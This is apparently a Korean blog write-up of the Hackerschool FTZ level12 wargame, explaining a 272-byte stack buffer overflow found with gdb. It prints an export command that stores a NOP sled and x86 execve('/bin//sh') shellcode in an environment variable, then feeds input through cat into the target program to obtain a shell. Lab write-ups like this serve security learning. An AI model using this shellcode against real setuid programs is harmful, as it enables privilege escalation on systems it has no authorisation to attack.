level12

 

 힌트를 확인해보면 11번과 비슷하게 overflow 문제인 것을 확인할 수 있다. 

 

 

 gdb로 프로그램을 확인해보면 마찬가지로 272byte인 것을 확인할 수 있다.

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 11번과 동일하게 환경변수와 프로그램을 작성하여 환경변수의 주소값을 확인해줬다. 

 

 (python ~)|./attackme 형식으로 입력하면 파이썬 코드로 입력할 수 있다. 하지만 실행되지 않아서 방법을 찾아보니 cat 명령을 사용하여 프로그램을 잡아두라고 하였다. 

 

 그렇게 하여 my-pass 명령을 사용하니 패스워드를 획득할 수 있었다.

 

 

 have no clue

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level14  (0) 2020.09.22
해커스쿨 FTZ level13  (0) 2020.09.22
해커스쿨 FTZ level11  (0) 2020.09.17
해커스쿨 FTZ level10  (0) 2020.08.27
해커스쿨 FTZ level9  (0) 2020.08.27